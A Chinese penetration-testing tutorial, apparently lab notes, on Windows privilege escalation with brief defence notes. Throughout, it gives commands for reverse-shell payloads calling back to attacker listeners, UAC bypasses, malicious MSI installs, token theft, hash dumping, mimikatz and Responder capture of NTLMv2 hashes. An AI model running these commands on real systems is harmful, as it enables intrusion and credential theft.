内网渗透-----权限分析及防御

第四章 权限提升分析及防御

在这里插入图片描述

生成MSF木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.2 lport=1234 -f exe >/root/hacker.exe
windows系统下的权限
user
Administrator
system		SAM文件读取,散列值进行Dump
TrustedInstaller

常用的提权方法有Windows系统内核溢出漏洞提权、错误的系统配置提权、数据库提权等等。下面我们对常用的几种提权的方法进行逐一演示。

4.1 Windows系统内核溢出漏洞提权

溢出漏洞:缓冲区溢出漏洞。计算机有个地方叫做缓存区,大小是事先设置好的,如果用户输入的数据超过了缓存区的大小,程序就会溢出
系统内核溢出漏洞提权是一种通用的提权方法,可绕过系统中的所有安全限制。漏洞利用的关键在于目标系统没有及时安装补丁,导致黑客上传溢出程序,
溢出Administrator权限

4.1.1 手动查找发现缺失的补丁

获取目标机器的shell后,查看当前权限
whoami/groups
查看安装补丁
systeminfo
wmic qfe get caption,description,hotfixid,installedon
可以看到系统安装了三个补丁,攻击者会寻找相应提权的EXP,然后列出没有的补丁号。
Windows不同系统提权的漏洞和相应的补丁链接
https://github.com/SecWiki/windows-kernel-exploits

在这里插入图片描述

自动查找系统存在的漏洞:
方法一:Windows Exploit Suggester(漏洞数据库只更新到2017年)
下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。
首先更新漏洞数据库,会生成一个xls的文件		
python2 windows-exploit-suggester.py --update
生成.xls文件2021-04-17-mssb.xls
然后将系统信息保存为txt文档 sysinfo.txt
运行如下命令,查看该系统是否存在可利用的提权漏洞:
python2 windows-exploit-suggester.py -d 2021-04-17-mssb.xls -i sysinfo.txt

4.1.2 利用Metasploit发现缺失补丁

(1) local_exploit_suggester模块
Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。
这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦假设我们已经获得了目标主机的一个session 1

use post/multi/recon/local_exploit_suggester 
set session 1
exploit

在这里插入图片描述

(2) enum_patches 模块
会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。
使用如下:
use post/windows/gather/enum_patches
set session 1
exploit

在这里插入图片描述

(3) Powershell中的Sherlock脚本
该脚本可快速查找缺少的本地权限升级漏洞的软件补丁。
下载地址:https://github.com/rasta-mouse/Sherlock.git
具体使用方法:
进入powershell
Get-ExecutionPolicy		查看默认配置
Set-ExecutionPolicy	Restricted		不允许执行任何脚本
Set-ExecutionPolicy Unrestricted	可执行任意脚本

Import-Module .\Sherlock.ps1	//导入模块本地执行
Find-AllVulns   				// 调用脚本后,执行搜索命令

在这里插入图片描述

(4) 选择漏洞并利用
查找了目标机器上的补丁并确定存在漏洞后,我们就可以像目标机器上传本地溢出程序,并执行。这里,我们选择的是CVE-2018-8120。
漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)

Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits
Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits
各大平台提权工具:https://github.com/klsfct/getshell

在这里插入图片描述

执行

在这里插入图片描述

如上图,再执行提权程序之前,为普通用户whoami权限,执行后为system权限。msfconsole上完整操作如下:

在这里插入图片描述

4.2 Win系统配置错误漏洞提权

在Windows系统中,攻击者通常会通过系统内核溢出漏洞来提权,但是如果碰到无法通过系统内核溢出漏洞提权的情况时,会可以利用系统中的错误配置
漏洞来提权。常见的错误有,管理员凭据配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等下面演示几种常见的Windows系统错误配置漏洞
提权方法。

4.2.1 系统服务权限配置错误

Windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此系统服务调用的可执行文件拥有写权限
就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限Windows 服务是以System权限运行的,因此,其文件、文件夹和注册表键值
都是受强访问控制机制保护该漏洞利用有以下两种情况:服务未运行:攻击者会使用任意服务直接替换原来的服务,然后重启服务服务正在运行且无法终止:
这种情况符合绝大多数漏洞利用的场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。
(1) 利用PowerUP.ps1脚本
利用Powershell的一个脚本PowerUp,该脚本的AllChecks模块会检测目标主机存在的Windows服务漏洞,然后直接替换可执行文件本身来实现权限的提升
脚本下载地址:
https://github.com/PowerShellEmpire/PowerTools.git

将该脚本远程下载或本地导入后,执行Invoke-AllChecks命令进行服务漏洞检测(脚本的绝对路径)
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Invoke-ALLChecks"

powershell.exe -exec bypass -Command "&	{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"


利用C#编写添加一个用户(未成功)
powershell -nop exec bypass IEX	(New-Object Net.Webclient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Install-ServiceBinary-ServiceName 'OmniServers'-UserName shuteer -Password Password123!
重启系统,该服务将停止并自动添加用户

在这里插入图片描述

(2) MSF的permissions模块
该漏洞提权在metasploit上面对应的模块为:
exploit/windows/local/service_permissions

1.首先需要拿到一个普通用户权限的session
利用MSF生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.25.15.8 lport=1234 -f exe >/root/hacker.exe
msf5 > search handler 	
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.25.15.8
msf5 exploit(multi/handler) > set lport 1234	端口为生成木马的端口
msf5 exploit(multi/handler) > exploit 
meterpreter > getuid
Server username: WIN-7\lyp

接下来利用exploit/windows/local/service_permissions提权
set session 1
set lport 1234
set session 1set AutoRunScript migrate -fexploit	自动迁移进程
exploit
发现成功提权至系统权限

在这里插入图片描述

service_permissions模块使用两种方法来获得系统权限,如果meterpreter以管理员权限运行,该模块会创建并运行一个新的服务。如果当前权限
不允许创建服务,该模块会判断哪些文件或者文件夹的权限有问题,并允许对他进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个
可执行程序,其文件名和安装路径都是随机的。

4.2.2 AlwaysInstallElevated注册表键提权

注册表AlwaysInstallElevated是一个策略设置项。Windows允许低权限
用户以system权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI文件

什么是MSI文件:	专门用来管理和配置软件服务。
该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:
gpedit.msc	打开组策略编辑器
分别在计算机配置和用户配置中设置永远以最高权限安装
组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。

组策略——用户配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。

在这里插入图片描述

在这里插入图片描述

设置完成后会在注册表的以下两个位置自动创建键值“1”
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

HKET_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

cmd查询键值
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Get-RegistryAlwaysInstallElevated

powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Get-RegistryAlwaysInstallElevated

(1) PowerUp下的实战利用(待研究补充)
1.首先使用PowerUp.ps1脚本的Get-RegistryAlwaysInstallElevated模块来检查相关注册表是否被设置:

powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerTools-master\PowerUp\PowerUp.ps1');Get-RegistryAlwaysInstallElevated
执行后如果显示True,这就意味着MSI文件是以System权限运行的

如果返回的是“false”,则说明AlwaysInstallElevated注册表未被设置,我们可以用以下命令进行设置,进行注册表写入启动AlwaysInstallElevated
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
此时再执行powerup.sp1脚本就会发现返回true了。
接下来运行Write-UserAddMSI模块,将在当前目录生成MSI文件
(msi文件内包含要执行的Payload,Payload将会以System权限执行):
这时,以普通用户权限运行UserAdd.msi,就会添加一个管理员账户。执行msiexec /q /i UserAdd.msi时会弹出一个对话框,
用来添加一个管理员用户:
接下来添加账户,运行Write-UserAddMSI模块,生成MSI文件
这时以普通用户权限运行UserAdd.msi就会添加一个管理员账户
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI
(2) MSF的always_install_elevated模块
Metasploit中相应的利用模块为:
exploit/windows/local/always_install_elevated
set session 4
可以利用该模块来完成以上操作。使用该模块设置好SESSION,运行exploit后,会返回一个system权限的meterpreter。该模块会创建一个文件名随机
的MSI文件,并在提权后删除所有已经部署的文件。

在这里插入图片描述

成功提权至系统权限

Metasploit 下的实战利用除了exploit/windows/local/always_install_elevated模块外,还有以下制作.msi文件的操作。
msfvenom -p windows/exec CMD=calc.exe -f msi > calc.msi
​
msfvenom -p windows/exec CMD=<命令> -f msi > calc.msi
将制作的calc上传至目标服务器,执行如下命令安装(普通用户权限)
msiexec /i calc.msi
即可成功安装并弹出计算器页面并且是以系统权限运行
tasklist /v | findstr "calc"

在这里插入图片描述

还可以使用以下方法直接生成msi格式的payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.25.15.8 lport=1234 –f msi -o shell.msi
/ quiet=在安装期间禁止向用户发送任何消息

/ qn=无GUI

/ i=常规(与管理)安装
执行后,新开启的监听中即可获得system权限的session。
(3) 防御注册表键提权
禁用注册表键的AlwaysInstallElevated,就可以阻止通过MSI文件进行提权

4.2.3 可信任服务路径漏洞

(1) 利用MSF进行漏洞提权
Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的,并利用了windows文件路径解析的特性。
Windows服务通常是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以system系统权限进行,那么,如果我们将一个
“适当命名”的可执行程序上传到以上所说的受影响的目录中,服务一旦启动或重启,该程序就会以system权限运行了,可见该漏洞利用了服务路径
的文件/文件夹的权限该漏洞是由于一个服务的可执行文件没有正确的处理所引用的完整路径名,即一个服务的可执行文件的完整路径中含有空格且
没有被双引号引起来,那么该服务就存在这个漏洞
1.列出目标主机没有被引号引起来的服务的路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto"|findstr /i /v "C:\Windows\\" |findstr/i /v """
以我的物理机测试
F:\Vmware\Vmware\vmware-authd.exe
C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
发现疑似可能存在可信任服务漏洞
检查是否有写权限(特定权限才可以修改)
icacls "C:\Program Files (x86)\Common Files\Tencent\QQMusic"

在这里插入图片描述

文件夹权限
Everyone	用户拥有这个文件夹的完全控制权限,所有用户都可修改此文件夹
M			修改
F			完全控制
CI			从属容器将继承访问控制项
OI			从属文件将继承访问控制项
确认目标机器存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且拥有写权限的目录下,执行如下命令,尝试重启服务
sc stop <service_name>
sc start <service_name>

具体利用过程:
我们生成一个msf马并重命名为hacker.exe上传到该“C:\Program Files\Program Folder(存在此漏洞的文件夹下)”目录下,然后分别执行如下命令
重启该WhoamiTest服务:
sc stop WhomaiTest
sc start WhomaiTest
该提权方法在metasploit中对应的模块为:
exploit/windows/local/unquoted_service_path,
使用如下:
use exploit/windows/local/unquoted_service_path
set session 7
set AutoRunScript migrate -f
exploit
这里要注意,新反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,
服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要在终止载荷进程之前将它迁移到其他进程中

在这里插入图片描述

4.2.4 自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而是会采用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。
这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员的账号和密码等信息。我们可以对整个系统进行检查,这些安装配置文文件列举如下
C:\sysprep.inf

C:\syspreg\sysprep.xml

C:\Windows\system32\sysprep.inf

C:\windows\system32\sysprep\sysprep.xml

C:\unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattended.xml

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\System32\Sysprep\Unattend.xml

C:\Windows\System32\Sysprep\Panther\Unattend.xml
(1) MSF的enum_unattend模块
MSF集成了该漏洞的利用模块:
post/windows/gather/enum_unattend
全盘搜索配置文件并从中读取有用信息
use post/windows/gather/enum_unattend
set session 8
exploit

4.2.5 计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行
我们的恶意程序。查看计算机的计划任务:
schtasks /query /fo list /v
schtasks /query /fo list /v >  C:\Users\17157\Desktop> schtasks.txt

AccessChk工具下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
执行如下命令,查看指定目录的权限配置情况
accesschk.exe -dqv "C:\Program Files\schtasks\whoami" -accepteula

AccessChk使用
接受许可协议
accesschk.exe /accepteula
找出某个驱动器下所有权限配置有缺陷的文件夹路径
accesschk.exe -uwdqs Users c:\ 
accesschk.exe -uwdqs "Authenticated Users" c:\  

找出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwqs Users c:\*.*  
accesschk.exe -uwqs "Authenticated Users" c:\*.*
R为读权限,W为写权限,RW表示有读写权限,如果前面为空则表示没有权限

4.3 组策略首选项提权分析及防范(待研究)

4.4 绕过UAC提权

4.4.1 UAC简介

UAC,即用户帐户控制
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。
如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序
UAC的三个级别
从不通知
程序试图更改我的计算机时通知我(默认设置)
始终通知

4.4.2 bypassuac模块

exploit/windows/local/ask(模块测试成功) # 弹出UAC确认窗口,然后诱使用户点击后获得system权限

exploit/windows/local/bypassuac(模块测试成功)
 # 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC的第二个shell。

exploit/windows/local/bypassuac_injection   
# 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
injection的对win10 32位的有效,对64位的无效

exploit/windows/local/bypassuac_fodhelper   
# 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过
#Windows 10的UAC。它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_eventvwr(win7模块测试成功)    
# 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。
#它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_comhijack    # 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。

MSF中Bypassuac模块的使用前提有两个:

(1)系统当前用户必须在管理员组中

(1)UAC为默认配置

假设已经获取目标机器的一个普通权限的shell。可以利用MSF木马上传到目标机器并执行来反弹shell

生成MSF马
root@kali:~#msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.2 lport=1234 -f exe >/root/hacker.exe

msf5 > search handler 	
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.100.150
msf5 exploit(multi/handler) > set lport 1234	端口为生成木马的端口
msf5 exploit(multi/handler) > exploit

使用bypassuac模块进行提权反弹shell
use exploit/windows/local/bypassuac
set session 1
exploit

实验成功截图:

在这里插入图片描述

4.4.3 RunAs模块

使用 exploit/windows/local/ask
创建一个可执行的文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否继续运行,如果点击运行,
就会反弹一个高权限的meterpreter shell
use exploit/windows/local/ask
set session 1
set filename lyp.exe
exploit 

实验成功截图:

在这里插入图片描述

在这里插入图片描述

4.4.4 PowerShell下的绕过UAC提权

利用Nishang中Escalation目录下的Invoke-PsUACme.ps1脚本
下载地址:
https://github.com/samratashok/nishang.git
将Invoke-PsUACme.ps1脚本上传至目标机器
cmd执行如下命令	使用sysprep方法并执行默认的payload
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\nishang-master\Escalation\Invoke-PsUACme.ps1');Invoke-PsUACme -Verbose


使用oobe方法并执行默认的payload
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\nishang-master\Escalation\Invoke-PsUACme.ps1');Invoke-PsUACme -method oobe -Verbose

或者进入脚本的位置,开启powershell
直接导入模块即可
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose  #使用sysprep方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose  #使用oobe方法并执行默认的payload

添加用户名密码
net user hacker root /add	添加hacker用户名
net user hacker /del		删除hacker用户名

powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\nishang-master\Escalation\Invoke-PsUACme.ps1');Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourBase64EncodedPayload"

实验成功截图如下,此时会弹出一个具有系统权限的shell

在这里插入图片描述

4.4.5 Empire中的bypassuac模块

4.4.6 针对绕过UAC提权的防御措施

不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性
设置UAC为始终通知,或删除用户的本地管理员权限。

4.5 令牌窃取分析及防范

令牌就是系统的临时秘钥。相当于账户和密码,用来决定是否允许这次请求和判断这次请求属于哪一个用户,无需账号密码访问网络系统资源
Kerberos协议
网络认证协议,通过秘钥系统为客户机/服务器应用程序提供强大的认证服务
客户端请求证书工作原理如下
客户端向认证服务器(AS)发送请求,要求得到服务器的证书
AS收到请求后,将包含服务器秘钥的加密证书发送给客户端。该证书包括服务器ticket(服务器秘钥加密的客户机身份和一份会话秘钥)
和一个临时的加密秘钥(又叫做会话秘钥,session key)。同时也会给服务器发送一份,用来验证客户端的身份。
客户端将ticket传送到服务器上,服务器进行验证。客户端登录成功后,攻击者就可以通过入侵服务器获取客户端获取令牌。
Tokens简介
与进程相关联,进程创建时根据LoginSession分配对应的Token,含有该进程用户账号,组信息,权限等
用户每次登录,产生LoginSession分配对应的Token
访问资源时提交Token进行身份验证,类似于Web Cookie
Delegate Token(授权令牌):支持交互登录,例如,本地用户直接登录,远程桌面登录访问
Impersonate Token(模拟令牌):非交互会话,例如使用net use访问共享文件夹,令牌的数量取决于shell的访问级别
4.5.1 令牌窃取
假设已经通过handler模块获取了目标机器的一个meterpreter shell,可以通过bypassuac模块提权至系统权限,因为令牌的数量取决于当前
获取的shell的访问等级
use incognito			使用incognito模块不用获取账号密码窃取token将自己伪装成合法用户适用于域环境下提权渗透多种操作系统
list_tokens -u			列出可用令牌
impersonate_token lyp-PC\\lyp	利用模拟令牌进行登录

在这里插入图片描述

拓展之Hash攻击
(1)Hashdump和后渗透模块
通过Hashdump获取密码(需要有系统权限)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump 
admin:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

绕过UAC的后渗透攻击模块
run post/windows/gather/smart_hashdump
工作流程如下
检查当前会话的权限和系统类型
检查是否是域控制服务器
从注册表读取hash,注入LSASS进程
如果是08server并具有管理员权限,直接getsystem尝试提权
如果是win7且UAC关闭并具有管理员权限,从注册表读取
03/XP直接getsystem,从注册表获取hash

实验成功截图:

在这里插入图片描述

(2)使用Mimikatz抓取密码
使用Mimikatz抓取密码
使用前提是已经获取Meterpreter shell,并且提权到系统权限。
加载mimikatz模块
meterpreter > load mimikatz 
抓取目标计算机的hash
meterpreter > msv 

抓取计算机的hash:

在这里插入图片描述

抓取系统票据:

在这里插入图片描述

抓取系统账户信息:

在这里插入图片描述

抓取计算机hash:

 mimikatz_command -f samdump::hashes

在这里插入图片描述

注意:如果以上方式破解不了hash值,可以采用hash传递的方式进行破解,详情请见笔记MSF基础
4.5.2 Rotten Potato本地提权分析
如果目标系统存在有效可用的令牌,可以通过Rotten Potato程序快速模拟用户令牌实现权限提升
下载地址:
https://github.com/foxglovesec/RottenPotato.git
下载完成后通过meterpreter上传至目标机器

完整攻击代码:

meterpreter > use incognito 
meterpreter > list_tokens -u
sessions -i 4	(普通用户权限的shell)
meterpreter > upload /root/muma/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"

实验成功截图:当前权限已经变为系统权限

在这里插入图片描述

拓展令牌窃取
(1)Powershell下的令牌窃取
下载地址:
https://github.com/PowerShellMafia/PowerSploit.git
Invoke-TokenManipulation.ps1脚本是PowerSploit中Exfiltration文件夹内的一个脚本

如下命令列举出token信息
IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop
\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -Enumerate

执行如下命令窃取system的token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt AUTHORITY\SYSTEM"
执行成功后会反弹一个系统权限的shell

列出令牌:

在这里插入图片描述

盗用令牌成功后反弹一个系统权限的cmd shell:

在这里插入图片描述

(2)利用令牌获得TrustedInstaller权限
有时候,在Windows系统中即使获得了管理员权限和SYSTEM权限,也不能修改系统文件,因为Windows系统的最高权限为TrustedInstaller权限。
例如C:\Windows\servicing路径,即使使用SYSTEM权限也无法在该路径进行读写文件
当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe,位置位于
C:\Windows\servicing\TrustedInstaller.exe,我们可以用Get-Acl查看该程序的权限
Powershell中有一个Get-Acl命令,这个命令是用来获取资源安全描述的命令,可以用来查看文件的权限。

查看文件夹权限:该程序的权限(所属用户)为NT SERVICE\TrustedInstaller

在这里插入图片描述

此时可以借用TrustedInstaller.exe的token令牌创建子进程,这样子进程就有了TrustedInstaller权限

思路如下:
启动服务TrustedInstaller
使用incognito获取TrustedInstaller.exe的token
获得TrustedInstaller权限

具体步骤:

在无TrustedInstaller权限时,无法进行写权限
cd C:\Windows\servicing
ehco "Thanks Bunny!" >whoami.txt

在这里插入图片描述

此时假设已经获取一个管理员权限的shell
首先进入shell启动TrustedInstaller服务
sc.exe start TrustedInstaller

在这里插入图片描述

use incognito 
ps	查找TrustedInstaller的进程PID,我这里是820
steal_token <PID就是820>
getuid 
设置完成后再次进入C:\Windows\servicing发现具有了写权限
echo "Thanks Bunny!" > whoami.txt

在这里插入图片描述

在Powershell下使用Invoke-TokenManipulation.ps1脚本测试
代码执行如下:
sc.exe start TrustedInstaller

$id  = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}

IEX(New-Object Net.WebClient).DownloadString('C:\Users\lyp\Desktop\PowerSploit
-master\Exfiltration\Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id

窃取TrustedInstaller的令牌后,对C:\Windows\servicing目录就有了写权限

在这里插入图片描述

这里,在成功窃取TrustedInstaller的令牌后会发现自己的权限仍是NT AUTHORITY\SYSTEM,这是因为TrustedInstaller权限也会
显示为NT AUTHORITY\SYSTEM,执行下面这个命令:
whoami /groups | findstr TrustedInstaller
如果有回显,代表当前是TrustedInstaller权限

回显截图:

在这里插入图片描述

4.5.3 添加域管理员(待研究)
4.5.4 Empire下的令牌窃取分析(待研究)
4.5.5 针对令牌窃取提权的防御措施
及时安装微软推送的补丁
对于来路不明的或者危险的软件,既不要在系统中使用,也不要在虚拟机中使用
对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息
对于令牌,应采取加密存储及多长验证保护
使用加密链路SSL/TLS传输令牌,以防止被中间人窃听

4.6 无凭证条件下的权限获取分析及防范(实验待研究)

4.6.1 LLMNR和NetBIOS欺骗攻击基本概念
在本节的实验中,假设已经进入目标网络,但没有获得任何凭证,使用LLMNR 和NetBIOS欺骗攻击对目标网络进行渗透测试
本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到 DNS服务器恢复正常为止。从 Windows Vista版本开始支持LLMNR。LLMNR支持IPv6。
LLMNR的工作流程如下:

DNS客户端在自己的内部名称缓存中查询名称。
如果没有找到,主机将向主 DNS发送名称查询请求。
如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。
如果备DNS没有回应或者收到了错误的信息,将使用LLMNR进行解析。
主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求,以获取主机名所对应的P地址。查询范围仅限于本地子网。
本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP地址的单播信息

NetBIOS是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT 以后版本的所有操作系统中均可使用NetBIOS。但是,NetBIOS不支持IPv6。

NetBIOS提供的三种服务如下。

NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据包。该服务需要使用域名服务器来注册NetBIOS 的名称,默认监听UDP137端口,也可以使用TCP137端口。
Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责错误检测和恢复,默认监听UDP 138端口。
Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用 TCP 139端口。
Net-NTLM Hash与 NTLM Hash不同。
NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。
Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击
Responder是使用Python语言编写的。
下载地址:
https://github.com/SpiderLabs/Responder.git
具体利用攻击步骤:
开启监听模式
python Responder.py -I eth0
在受害主机上执行不能解析的命令
net use \\whoami
Responder会自动回应客户端的请求并声明自己就是被输入了错误计算机的那台机器,然后尝试建立SMB连接。
客户端就会发送自己的NTLMv2哈希值进行身份验证

开启监听网卡:

在这里插入图片描述

成功获取受害主机的NTLMv2哈希值

在这里插入图片描述

lyp::lyp-PC:1122334455667788:CC51347D73E8EE4C3BB427B2FD0D9C59:010100000000000053BCE30D4F36D7015893E6ED0634FBDF0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000AC323AA5AED078EDEB68525A8B3357899D3915633B89C8BB475A1C6A818C5CFA0A001000000000000000000000000000000000000900160063006900660073002F00770068006F0061006D0069000000000000000000
抓取成功后,可利用kali自带的john工具破解hash
John the Ripper是一个快速的密码破解程序

在这里插入图片描述

本文参考以下博客:
https://blog.csdn.net/qq_45521281/article/details/113920096

第四章暂时告一段落

.

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值